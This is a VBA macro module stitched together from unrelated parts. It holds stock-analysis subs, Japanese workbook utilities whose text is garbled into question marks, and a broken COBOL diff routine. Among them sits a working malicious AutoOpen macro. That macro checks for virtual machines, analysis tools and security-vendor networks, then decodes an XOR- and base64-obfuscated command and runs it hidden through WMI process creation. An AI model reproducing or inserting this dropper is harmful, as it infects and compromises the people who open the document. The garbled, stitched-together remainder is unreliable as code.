Macro

Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If



Sub HW_AllStocksAnalysis()
    yearValue = InputBox("What year would you like to run the analysis on?")

    Worksheets("Challenge_All Stocks Anlysis").Activate
    Range("A1").Value = "All Stocks (" + yearValue + ")"
    'Create a header row
    Cells(3, 1).Value = "Ticker"
    Cells(3, 2).Value = "Total Daily Volume"
    Cells(3, 3).Value = "Return"

    'declare 4 arrays
    Dim tickers(12) As String
    Dim volume(12) As String
    Dim startingPrices(12) As String
    Dim endingPrices(12) As String
    'create index variable
    Dim tickerIndex As Integer

    Worksheets(yearValue).Activate
    RowCount = Cells(Rows.Count, "A").End(xlUp).Row

    '(1)the outer loop for index from 0 to 11
    tickerIndex = 0

    Worksheets(yearValue).Activate
    For tickerIndex = 0 To 11
        '(2)the main loop for stock data
        Worksheets(yearValue).Activate
        For j = 2 To RowCount
            'retrieve ticker name and start price for each tickerIndex and store them in arrays
            If Cells(j, 1).Value <> Cells(j - 1, 1).Value Then
                tickers(tickerIndex) = Cells(j, 1).Value
                startingPrices(tickerIndex) = Cells(j, 6).Value
            End If
                '(3)a nested loop for retrieving TotalVolume for each volume array
                Worksheets(yearValue).Activate
                    TotalVolume = 0
                    For x = 2 To RowCount
                        If Cells(x, 1).Value = tickers(tickerIndex) Then
                            TotalVolume = TotalVolume + Cells(x, 8).Value
                        End If
                    Next x

                    volume(tickerIndex) = TotalVolume

            'retrieve and store ending price in array as well as increment tickerIndex for next loop
            If Cells(j + 1, 1).Value <> Cells(j, 1).Value Then
                endingPrices(tickerIndex) = Cells(j, 6).Value
                tickerIndex = tickerIndex + 1
            End If
        Next j

    Next tickerIndex

    '(4)store all informations collected in a output worksheet
    Worksheets("Challenge_All Stocks Anlysis").Activate
    For i = 0 To 11

        Cells(i + 4, 1).Value = tickers(i)
        Cells(i + 4, 3).Value = endingPrices(i) / startingPrices(i) - 1
        Cells(4 + i, 2).Value = volume(i)

    Next i

    'formatting
    Worksheets("Challenge_All Stocks Anlysis").Activate
        Range("A3:C3").Font.Bold = True
        Range("A1").Font.FontStyle = "Bold"
        Range("A3:C3").Borders(xlEdgeBottom).LineStyle = xlContinuous
        Range("B4:B15").NumberFormat = "#,##0"
        Range("c4:c15").NumberFormat = "0.0%"
        Columns(2).AutoFit
    'color conditional formatting
    Worksheets("Challenge_All Stocks Anlysis").Activate
    dataRowEnd = Cells(Rows.Count, "C").End(xlUp).Row
    dataRowStart = 4
    For r = dataRowStart To dataRowEnd
        If Cells(r, 3).Value > 0 Then
            Cells(r, 3).Interior.Color = vbGreen
        ElseIf Cells(r, 3).Value < 0 Then
            Cells(r, 3).Interior.Color = vbRed
        Else
            Cells(r, 3).Interior.Color = xlNone
        End If
    Next r


End Sub

Sub analyze_stocks()
    '' Declare variables
    Dim WS As Worksheet, i As Long, last_row As Long, result_table_row As Integer
    Dim open_price As Double, close_price As Double, yearly_change As Double, yearly_change_percentage As Double, total_stock_vol As LongLong
    Dim greatest_increase_ticker As String, greatest_increase_percentage As Double, greatest_decrease_ticker As String, greatest_decrease_percentage As Double, greatest_total_ticker As String, greatest_total_volume As LongLong

    '' Loop through Worksheets
    For Each WS In Worksheets
        '' Set Result Table headers
        WS.Cells(1, 9).Value = "Ticker"
        WS.Cells(1, 10).Value = "Yearly Change"
        WS.Cells(1, 11).Value = "Percentage Change"
        WS.Cells(1, 12).Value = "Total Stock Volume"
        WS.Cells(1, 15).Value = "Ticker"
        WS.Cells(1, 16).Value = "Value"

        '' Count number of rows
        last_row = WS.Cells(Rows.Count, 1).End(xlUp).Row

        '' Initialize Values
        result_table_row = 2
        total_stock_vol = 0
        greatest_increase_ticker = ""
        greatest_increase_percentage = 0
        greatest_decrease_ticker = ""
        greatest_decrease_percentage = 0
        greatest_total_ticker = ""
        greatest_total_volume = 0

        '' Print first ticker's value
        WS.Cells(result_table_row, 9).Value = WS.Cells(2, 1).Value

        '' Set first ticker's open price
        open_price = WS.Cells(2, 3).Value

        '' Loop through rows
        For i = 2 To last_row
        total_stock_vol = total_stock_vol + WS.Cells(i, 7).Value
            If (WS.Cells(i, 1).Value <> WS.Cells(i + 1, 1).Value) Then
                '' Set previous ticker's close price and calculate yearly change before overriding open price.
                close_price = WS.Cells(i, 6).Value
                yearly_change = close_price - open_price

                '' Div by 0 error handling
                If open_price <> 0 Then
                    yearly_change_percentage = yearly_change / open_price
                Else
                    yearly_change_percentage = 0
                End If

                '' Find greatest increase percentage by comparing it with a previous value to find a maximum.
                If yearly_change_percentage > greatest_increase_percentage Then
                    greatest_increase_percentage = yearly_change_percentage
                    greatest_increase_ticker = WS.Cells(i, 1).Value
                End If

                '' Find greatest decrease percentage by comparing it with a previous value to find a minimum.
                If yearly_change_percentage < greatest_decrease_percentage Then
                    greatest_decrease_percentage = yearly_change_percentage
                    greatest_decrease_ticker = WS.Cells(i, 1).Value
                End If

                '' Find greatest volume by comparing it with a previous value to find a maximum
                If total_stock_vol > greatest_total_volume Then
                    greatest_total_volume = total_stock_vol
                    greatest_total_ticker = WS.Cells(i, 1).Value
                End If

                '' Set calculated values to result table
                WS.Cells(result_table_row, 10).Value = yearly_change
                WS.Cells(result_table_row, 11).Value = Format(yearly_change_percentage, "0.00%")
                WS.Cells(result_table_row, 12).Value = total_stock_vol

                '' Set percentage change cell background color to green for positive values and red for negative values
                If yearly_change > 0 Then
                    WS.Cells(result_table_row, 10).Interior.ColorIndex = 4
                Else
                    WS.Cells(result_table_row, 10).Interior.ColorIndex = 3
                End If

                '' Set result_table_row to next row
                result_table_row = result_table_row + 1

                '' Reset total_stock_vol to 0 to reuse it for a next ticker
                total_stock_vol = 0

                '' Print next ticker's value (A, AA, etc.)
                WS.Cells(result_table_row, 9).Value = WS.Cells(i + 1, 1).Value

                '' Set open price for a next ticker
                open_price = WS.Cells(i + 1, 3).Value

            End If
        Next i

        '' Setting up values after looping through all rows
        WS.Cells(2, 14).Value = "Greatest % Increase"
        WS.Cells(2, 15).Value = greatest_increase_ticker
        WS.Cells(2, 16).Value = Format(greatest_increase_percentage, "0.00%")

        WS.Cells(3, 14).Value = "Greatest % Decrease"
        WS.Cells(3, 15).Value = greatest_decrease_ticker
        WS.Cells(3, 16).Value = Format(greatest_decrease_percentage, "0.00%")

        WS.Cells(4, 14).Value = "Greatest Total Volume"
        WS.Cells(4, 15).Value = greatest_total_ticker
        WS.Cells(4, 16).Value = greatest_total_volume

    Next WS
End Sub

Public Sub StockAnalysis()
    Dim WS As Worksheet
    Dim Ticker As String

    Dim vol As LongLong

    Dim Summary_Table_Row As Long

    Dim yearlyChange As Double

    Dim percentChange As Double

    Dim Tick_Begin As Long
    Dim Tick_End As Long

    Dim changeMindex As Long
    Dim changeMaxdex As Long

    Dim volMaxdex As Long

    For Each WS In Worksheets
        vol = 0
        WS.Cells(1, 10).Value = "Ticker"
        WS.Cells(1, 11).Value = "Yearly Change"
        WS.Cells(1, 12).Value = "Percent Change"
        WS.Cells(1, 13).Value = "Total Stock Volume"

        Tick_Begin = 2
        Tick_End = nextIndex(2, WS) - 1
        Summary_Table_Row = 2

        While Not IsEmpty(WS.Cells(Tick_Begin, 1))
            Ticker = TickerVal(Tick_Begin, WS)
            vol = volume(Tick_Begin, Tick_End, WS)
            yearlyChange = Delta(Tick_Begin, Tick_End, WS)
            percentChange = PercentDelta(Tick_Begin, Tick_End, WS)

            WS.Cells(Summary_Table_Row, 10).Value = Ticker
            WS.Cells(Summary_Table_Row, 11).Value = yearlyChange
            WS.Cells(Summary_Table_Row, 12).Value = percentChange
            WS.Cells(Summary_Table_Row, 13).Value = vol

            If (yearlyChange > 0) Then
                WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 4
            ElseIf (yearlyChange < 0) Then
                WS.Cells(Summary_Table_Row, 11).Interior.ColorIndex = 3
            End If

            WS.Cells(Summary_Table_Row, 12).NumberFormat = "0.00%"

            Tick_Begin = Tick_End + 1
            Tick_End = nextIndex(Tick_Begin, WS) - 1
            Summary_Table_Row = Summary_Table_Row + 1
        Wend

        Summary_Table_Row = Summary_Table_Row - 1

        WS.Cells(2, 15).Value = "Greatest Percent Increase"
        WS.Cells(3, 15).Value = "Greatest Percent Decrease"
        WS.Cells(4, 15).Value = "Greatest Total Volume"

        WS.Cells(1, 16).Value = "Ticker"
        WS.Cells(1, 17).Value = "Value"


        changeMindex = ArgMin(2, Summary_Table_Row, 12, WS)
        changeMaxdex = ArgMax(2, Summary_Table_Row, 12, WS)

        WS.Cells(2, 16).Value = WS.Cells(changeMaxdex, 10).Value
        WS.Cells(2, 17).Value = WS.Cells(changeMaxdex, 12).Value
        WS.Cells(2, 17).NumberFormat = "0.00%"

        WS.Cells(3, 16).Value = WS.Cells(changeMindex, 10).Value
        WS.Cells(3, 17).Value = WS.Cells(changeMindex, 12).Value
        WS.Cells(3, 17).NumberFormat = "0.00%"

        volMaxdex = ArgMax(2, Summary_Table_Row, 13, WS)
        WS.Cells(4, 16).Value = WS.Cells(volMaxdex, 10).Value
        WS.Cells(4, 17).Value = WS.Cells(volMaxdex, 13).Value

    Next WS
End Sub


Sub AllBookClose()

    Workbooks.Close

End Sub

'*******************************************************************************
'        ????????????
'*******************************************************************************
Sub ActiveBookClose()

    ActiveWorkbook.Close

End Sub

'*******************************************************************************
'        ?????????1
'*******************************************************************************
Sub SiteiBookClose()

    Workbooks("Dummy.xls").Close
'   Workbooks(5).Close

End Sub

'*******************************************************************************
'        ?????????? (????)
'*******************************************************************************
Sub BookSave_NoConf()

    Workbooks("Dummy.xls").Close SaveChanges:=True

End Sub

'*******************************************************************************
'        ???????????? (????)
'*******************************************************************************
Sub BookCancel_NoConf()

    Workbooks("Dummy.xls").Close SaveChanges:=False

End Sub

'*******************************************************************************
'        ??? ?????
'*******************************************************************************
Sub BookActivate()

    Workbooks("Dummy.xls").Activate

End Sub

'*******************************************************************************
'        ??? ??
'*******************************************************************************
Sub BookSave()

    ActiveWorkbook.Save
'   Workbooks("Dummy.xls").Save

End Sub

'*******************************************************************************
'        ????? ??
'*******************************************************************************
Sub NewSheetInsert()

    Worksheets.Add
'   Worksheets.Add after:=Worksheets(1), Count:=2

End Sub

'*******************************************************************************
'        ??? ??????
'*******************************************************************************
Sub BookSave_NewNamed()

    ActiveWorkbook.SaveAs         Filename:="C:\Documents and Settings\????\My Documents\Dummy2.xls"

End Sub

'*******************************************************************************
'        ?????
'*******************************************************************************
'        ????:??????????????1????199??????101??
'                  ????
'*******************************************************************************
Sub Input1to100()

    Dim i As Integer
    Dim j As Integer

    Worksheets("Sheet1").Activate
    Cells.Select
    Selection.ColumnWidth = 3.5
    Range("a1").Select

    For i = 1 To 100
        Cells(i, i) = i
    Next i
    For i = 101 To 199
        j = i - 100
        Cells(i, 100).Offset(, -j) = i
   Next i

End Sub

'*******************************************************************************
'        ???????  ???
'*******************************************************************************
Sub CellClearContents()

    Cells.Select
    Selection.ClearContents
    Range("a1").Select

End Sub

'*******************************************************************************
'        ?????
'*******************************************************************************
Sub RowHidden()

    Workbooks("Book1").Activate
    Worksheets("Sheet2").Rows("5:7").Hidden = True

End Sub

'*******************************************************************************
'        ???????????
'*******************************************************************************
Sub RowsCountGet()

'   ???????????
    ActiveWorkbook.Worksheets("Sheet1").Activate
    Range("b10:f18").Select

    MsgBox Selection.Rows.Count
   'EntireRow ???????
    Selection.EntireRow.Value = "VBA"

   '??????????
    MsgBox ActiveSheet.Rows.Count

End Sub

'*******************************************************************************
'        ????????????????????Select
'*******************************************************************************
Sub CurrentRegionVisibleSelect()

    Range("A1").CurrentRegion.SpecialCells(xlCellTypeVisible).Select

End Sub

'*******************************************************************************
'        ???????Copy
'*******************************************************************************
Sub CurrentRegionVisibleCopy()

'   (?????????????????Copy??????????)
    Range("A1").CurrentRegion.Select
    Selection.SpecialCells(xlCellTypeVisible).Copy

'   ???????????
    Worksheets("Sheet2").Select
    ActiveSheet.Paste

End Sub

'*******************************************************************************
'        ????????????????????????????
'*******************************************************************************
Sub LastCellAddressGet1()

    MsgBox ActiveSheet.Cells.SpecialCells(xlCellTypeLastCell).Address()

End Sub

'*******************************************************************************
'        ????????????(:)????????????
'*******************************************************************************
Sub LastCellAddressGet2()

    Dim myLastCell As String

    myLastCell = ActiveSheet.UsedRange.Address()

    myLastCell = Mid(myLastCell, InStr(myLastCell, ":") + 1)
    MsgBox myLastCell
End Sub



''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Public Function ToBase64(sValue As String, Optional ByVal MultiLine As Boolean) As String
    Dim baValue()       As Byte
    Dim lSize           As Long

    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin.base64"
        ReDim baValue(0 To 4 * Len(sValue))
        lSize = WideCharToMultiByte(CP_UTF8, 0, StrPtr(sValue), Len(sValue), baValue(0), UBound(baValue) + 1, 0, 0)
        If lSize > 0 Then
            ReDim Preserve baValue(0 To lSize - 1)
            .NodeTypedValue = baValue
        End If
        ToBase64 = .text
        If Not MultiLine Then
            ToBase64 = Replace(Replace(ToBase64, vbCrLf, vbNullString), vbLf, vbNullString)
        End If
    End With
End Function

Sub AutoOpen()
 Dim Vniko As String


    If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
    GoTo Fer
    End If
    If checkISP() Then
    GoTo Fer
    End If

    Set Locator = CreateObject("WbemScripting.SWbemLocator")
    Set Retelo = Locator.ConnectServer()
    Retelo.Security_.ImpersonationLevel = 3
    Set cumami = Retelo.Get(yetras(Groa("IQwcQFM8OAwYAiEHABcdFlgkFhcTBhsWS0IXHgMCGgQVABYcTw4BBgQKARwHF0YGGQhVXzMGGwoaExcyBQcaAAUWPBIMBhtYIhcHFg=="), "versache"))
    With cumami
        If .StatusCode = 0 Then
            End
        ElseIf .StatusCode > 0 Then
            End
        End If
    End With
    Set Xewer = Retelo.Get("Win32_Process")
    On Error Resume Next
    Descritis = Xewer.Create(yetras(Groa("FQgWU04ASBUZEhcBEgsNCRpFXwQIDQwKARYGCg0GSA0fARYWD0NFBhkIHxIPB0gsGxUdARVOJQoSEB4WQSEBEQUxABIPEA4ABF5SIBUCGhFbJxsHEjcaBBgWFBYTQ0U2GRAAEARDABECFQFJTkwaBAFLFRoVCx0HAxYXAQIMBhETCwZdAgwFSgYKAhoKFw0XQ1NdAwgIHAwdSh8SEhcNF1kHHhwWTQ0dE0kaBxUTG19ZSgASFk0PDAINBxEUEA0XFQocBwQNHEsVCh9cEQwYDB0RFwFUVUcVHw4GGgpMBQQFERcBTgcNBAVJGgcVExtfWUoAEhZNDwwCDQcRFBANFxUKHAcEDRxLFQofXBEMGAwdERcBVFVHFR8OBhoKTAUEBREXAU4OADwOSxcLBENFIRMWBhoPAhwMGQtSL0NHDQsAXyY2LDM0BxoKBV0EGw05VEkuUUUGBhNMMTc+MT8MAAQELlFNP0pBEwsESTUmJTUqCBoqGU0NHRM5UFNHQ0gGExcGBhUKBEVbARcQDgcNRVMRFx4RRjQBExcTU0QXDQgGQC4XBBEJSxMdF1NHQxgKAQAAAAkGBAlWSAUaDwcHEgURCx8EQwAMEgEXHUFOCwobCBMdBUM7AAJIPhwCAhwMGQtSXjECHA1WOVBXBA0eXyIgPyM9QVNFJRETARVOOBcZBhcAEkMKCRkSXBYZBkhINxcVBgwGBhE6DAEHQQcNFxdLFwsE"), "versache"), Null, Null, Quilo)
Fer:
End Sub

Function checkISP() As Boolean



    badISP = False
    badISPNames = Array("Amazon", "Anonymous", "Blue Coat Systems", "Cisco Systems", "Cloud", "Data Center", "Dedicated", "ESET", "FireEye", "Forcepoint", "Hetzner", "Hosted", "Hosting", "LeaseWeb", "Microsoft", "NForce", "OVH SAS", "Security", "Server", "Strong Technologies", "Trend Micro", "blackoakcomputers", "Datacamp")

    Set request = CreateObject("WinHttp.WinHttpRequest.5.1")


    request.Open "GET", "https://www.maxmind.com/geoip/v2.1/city/me", False
    request.setRequestHeader "Referer", "https://www.maxmind.com/en/locate-my-ip-address"
    request.setRequestHeader "User-Agent", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
    request.setRequestHeader "Host", "www.maxmind.com"
    request.send


        For Each badName In badISPNames
             If InStr(request.responseText, badName) > 0 Then
                badISP = True
            End If
        Next




    checkISP = badISP

End Function

Function checkProc() As Boolean

    Dim Name As String
    Dim Desc As String

    badProc = False
    badMacNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu", "virtual", "kvm", "xen", "redhat")

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colAdapters = objWMIService.ExecQuery("SELECT * FROM Win32_Process")
    For Each objAdapter In colAdapters

        Name = objAdapter.Name

        For Each badName In badMacNames
            If InStr(LCase(Name), badName) > 0 Then
                badProc = True
            End If
        Next
    Next



    checkProc = badProc

End Function

Function checkMac() As Boolean



    badMac = False
    badMacNames = Array("00:50:56", "00:0C:29", "00:05:69", "80:00:27", "00:1C:42", "00:16:3E")

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapter")
    For Each objAdapter In colAdapters

        MACAddress = objAdapter.MACAddress
        For Each badName In badMacNames
            If InStr(MACAddress, badName) > 0 Then
                badMac = True
            End If
        Next
    Next



    checkMac = badMac

End Function









Function checkFilenameBad() As Boolean



    badName = False
    badNames = Array("malware", "myapp", "sample", ".bin", "mlwr_", "Desktop")


    For Each n In badNames
        If InStr(LCase(ActiveDocument.FullName), n) > 0 Then
            badName = True
        End If
    Next


    checkFilenameBad = badName

End Function

Function checkTasks() As Boolean




    badTask = False
    badTaskNames = Array("vbox", "vmware", "vxstream", "autoit", "vmtools", "tcpview", "wireshark", "process explorer", "visual basic", "fiddler", "qemu")

    For Each Task In Application.Tasks

        For Each badTaskName In badTaskNames
            If InStr(LCase(Task.Name), badTaskName) > 0 Then
                badTask = True
            End If
        Next

    Next

    checkTasks = badTask

End Function

Function checkCores() As Boolean



    badCores = False

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)

    For Each objItem In colItems

            If objItem.NumberOfLogicalProcessors < 3 Then
                badCores = True
            End If

    Next

  checkCores = badCores

End Function

Function checkBios() As Boolean



    badBios = False
    badBiosNames = Array("virtualbox", "vmware", "kvm", "qemu", "xen", "redhat", "a m i")

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)

    For Each objItem In colItems

        For Each badName In badBiosNames
            If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
                badBios = True
            End If
            If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
                badBios = True
            End If
        Next

    Next

    checkBios = badBios

End Function

Function checkPnP() As Boolean



    badPNP = False
    badPNPNames = Array("VEN_80EE", "VEN_15AD")

    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)

    For Each objItem In colItems

        For Each badName In badPNPNames
            If InStr(LCase(objItem.DeviceId), badName) > 0 Then
                badPNP = True
            End If
        Next

    Next

    checkPnP = badPNP

End Function

Public Function Groa(sBase64 As String) As String
    Dim baValue()       As Byte
    Dim sValue          As String
    Dim lSize           As Long

    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin.base64"
        .text = sBase64
        baValue = .NodeTypedValue
        sValue = String$(4 * UBound(baValue), 0)
        lSize = MultiByteToWideChar(CP_UTF8, 0, baValue(0), UBound(baValue) + 1, StrPtr(sValue), Len(sValue))
        Groa = Left$(sValue, lSize)
    End With
End Function

Private Function yetras(text As String, key As String) As String
  Dim bText() As Byte
  Dim bKey() As Byte

  Dim TextUB As Long
  Dim KeyUB As Long



  bText = StrConv(text, vbFromUnicode)
  bKey = StrConv(key, vbFromUnicode)
  TextUB = UBound(bText)
  KeyUB = UBound(bKey)
  Dim TextPos As Long
  Dim Trenfa As Long
  For TextPos = 0 To TextUB
    bText(TextPos) = bText(TextPos) Xor bKey(Trenfa)
    If Trenfa < KeyUB Then
      Trenfa = Trenfa + 1
    Else
      Trenfa = 0
    End If
  Next TextPos
  yetras = StrConv(bText, vbUnicode)
End Function



Public Function DUPLO(file_path As String) As Boolean


    trega = Dir(file_path) <> ""
    Exit Function

DirErr:
      If Err.Number = 68 Then
        trega = False
    Else
        MsgBox Err.Description & " (" & Err.Number & ")", , "Run-time Error"
        Stop
    End If
End Function

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''


Public Sub COBOL?????????()

  Const cnOutFile As String = "C:\Users\roshi_000\MyImp\MyOwn\Develop\Excel VBA\My VBA\Debug.txt"  '##### Debug

  Const cnStartBlk As Long = 45        '????????????
  Const cnStep     As Long = -1        '???

  Dim oNew    As String              '????
  Dim oOld    As String              '????
  Dim nBlock  As Long                  '????????

  Call sb????(oNew, oOld)

  Set g_oTStrm = g_oFso.CreateTextFile(cnOutFile, True)  '##### Debug

  For nBlock = cnStartBlk To 1 Step cnStep
    Call sb???????(nBlock, oNew, oOld)
  Next

  Call sb???Debug(oNew, oOld)                         '##### Debug
 'Call sb??????(oNew, oOld)
 'Call sb????

  g_oTStrm.Close                                         '##### Debug

End Sub

'*******************************************************************************
'        ????
'*******************************************************************************
Private Sub sb????(oNew As String, oOld As String)

  Dim sNewSheet  As String
  Dim sOldSheet  As String

  sNewSheet = Application.InputBox(Prompt:="??????????????",                                    Title:="???????", Type:=2)
  sOldSheet = Application.InputBox(Prompt:="??????????????",                                    Title:="???????", Type:=2)

  Call sb????????(oNew, sNewSheet)
  Call sb????????(oOld, sOldSheet)

  oNew.oSoc(oNew.oPrp.nSocMaxidx).nOpidx = oOld.oPrp.nSocMaxidx
  oOld.oSoc(oOld.oPrp.nSocMaxidx).nOpidx = oNew.oPrp.nSocMaxidx

End Sub

'*******************************************************************************
'        ????????
'*******************************************************************************
'      < ???? >
'        ?????,????????????
'*******************************************************************************
Private Sub sb????????(oCmn As String, sCmnSheet As String)

  Const cnLenSeq As Long = 6
  Const cnBgnSoc As Long = 7
  Const cnLenSoc As Long = 66

  Dim nRow       As Long
  Dim nidx       As Long
  Dim nComntCol  As Long
  Dim nComntidx  As Long

  With oCmn.oPrp
    Set .oSheet = Worksheets(sCmnSheet)
    .nSocMinRow = g_cnSocMinRow
    .nSocMaxRow = .oSheet.Cells(.oSheet.Rows.Count, g_cnSocCol).End(xlUp).Row
    .nSocMaxidx = .nSocMaxRow - g_cnSocMinRow
    ReDim oCmn.oSoc(.nSocMaxidx)
  End With

  For nRow = oCmn.oPrp.nSocMinRow To oCmn.oPrp.nSocMaxRow
    nidx = nRow - g_cnSocMinRow
    With oCmn.oSoc(nidx)
      .bMatch = False
      .nOpidx = 0
      .sSeqno = Left(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnLenSeq)
      .sSourc = Trim(Mid(oCmn.oPrp.oSheet.Cells(nRow, g_cnSocCol).Value, cnBgnSoc, cnLenSoc))

      For nComntCol = g_cnLeftComntCol To g_cnRigtComntCol
        nComntidx = nComntCol - g_cnLeftComntCol
        .sComnt(nComntidx) = oCmn.oPrp.oSheet.Cells(nRow, nComntCol).Value
      Next
    End With
  Next

End Sub

'*******************************************************************************
'        ???????
'*******************************************************************************
Private Sub sb???????(nBlock As Long,                              oNew As String, oOld As String)
  Dim nNewRept  As Long
  Dim nOldRept  As Long
  Dim nMchCond  As Long

  oOld.oidx.nLimBegin = 0                        'Old??idx ??
  oOld.oidx.nLimEnd = oOld.oPrp.nSocMaxidx

  oOld.oidx.nCmpBegin = oOld.oidx.nLimBegin      'Old????idx ??
  nOldRept = fn????idx??(nBlock, oOld)

  Do While (nOldRept = 0)                        'Old????idx Begin ?????? ??

    Call sb??????idx??(oOld, oNew)         'New??idx ??
    oNew.oidx.nCmpBegin = oNew.oidx.nLimBegin      'New????idx ??
    nNewRept = fn????idx??(nBlock, oNew)

    nMchCond = 9                                   '?????? ???

    Do While (nNewRept = 0)                        'New????idx Begin, End ????? ??

      nMchCond = 1                                   '?????? ?????
      nMchCond = fn??????(oNew, oOld)          '??????

      If nMchCond = 0 Then                           '?????? ???
        Call sb??????(oNew, oOld)
        Call sb???Debug(nBlock, oNew, oOld)         '##### Debug #####
        Exit Do
      End If

      oNew.oidx.nCmpBegin = oNew.oidx.nCmpBegin + 1  'New????idx ??
      nNewRept = fn????idx??(nBlock, oNew)
    Loop

    If (nMchCond = 0) Then                       '?????? ???
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock

    ElseIf (nMchCond = 1) Then                   '?????? ?????
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + 1

    ElseIf (nMchCond = 9) Then                   '?????? ???
      oOld.oidx.nCmpBegin = oOld.oidx.nCmpBegin + nBlock

    End If

    nOldRept = fn????idx??(nBlock, oOld)   'Old????idx ??
  Loop

End Sub

'*******************************************************************************
'        ????idx ??
'*******************************************************************************
'      < ???? >
'        ????????,???????????????idx Begin,End ?
'        ?????
'        ????idx Begin ????????      ???? 99
'        ????idx End   ???idx?????? ???? 90
'        ??????????????????    ???? 10 (???????)
'        ????idx Begin, End ???????? ???? 00 ????
'*******************************************************************************
Private Function fn????idx??(nBlock As Long, oCmn As String) As Long

  Dim nCmnRept  As Long
  Dim nNextEnd  As Long

  nNextEnd = oCmn.oidx.nCmpBegin
  nCmnRept = 10

  Do While (nCmnRept = 10)
                                       '????idx Begin ??
    oCmn.oidx.nCmpBegin = nNextEnd
    If (fn????idx_Begin??(oCmn) = False) Then
      fn????idx?? = 99
      Exit Function
    End If
                                       '????idx End   ??
    oCmn.oidx.nCmpEnd = oCmn.oidx.nCmpBegin + nBlock - 1
    nCmnRept = fn???????????(nBlock, oCmn)
    If nCmnRept = 90 Then
      fn????idx?? = nCmnRept
      Exit Function
    End If
    nNextEnd = oCmn.oidx.nCmpEnd + 1
  Loop

  fn????idx?? = 0

End Function

'*******************************************************************************
'        ????idx Begin ??
'*******************************************************************************
'      < ???? >
'        ?????????????????????????
'        ???????????????????
'            ???????idx Begin????????? True ????
'        ????????????????
'            ???? False ????
'*******************************************************************************
Private Function fn????idx_Begin??(oCmn As String) As Boolean

  Dim nidx  As Long
  Dim nEnd  As Long

  fn????idx_Begin?? = False
  nidx = oCmn.oidx.nCmpBegin

  Do While (nidx <= oCmn.oidx.nLimEnd)
    If oCmn.oSoc(nidx).bMatch = False Then
      oCmn.oidx.nCmpBegin = nidx
      fn????idx_Begin?? = True
      Exit Function
    End If
    nidx = nidx + 1
  Loop

End Function

'*******************************************************************************
'        ???????????
'*******************************************************************************
'      < ???? >
'        ????????,???????????????idx Begin+1???
'        ????idx Begin+1???????idx Begin+???????????
'        ??????????????????
'        ??idx End<????idx End ???????? 90
'        ?????????????????? ???? 10
'        ???????                       ???? 00 ????
'*******************************************************************************
Private Function fn???????????(nBlock As Long, oCmn As String) As Long

  Dim nidx  As Long

  If oCmn.oidx.nLimEnd < oCmn.oidx.nCmpEnd Then
    fn??????????? = 90
    Exit Function
  End If

  nidx = oCmn.oidx.nCmpBegin + 1
  Do While (nidx <= oCmn.oidx.nCmpEnd)
    If oCmn.oSoc(nidx).bMatch = True Then
      fn??????????? = 10
      Exit Function
    End If
    nidx = nidx + 1
  Loop

  fn??????????? = 0

End Function

'*******************************************************************************
'        ?????? index ??
'*******************************************************************************
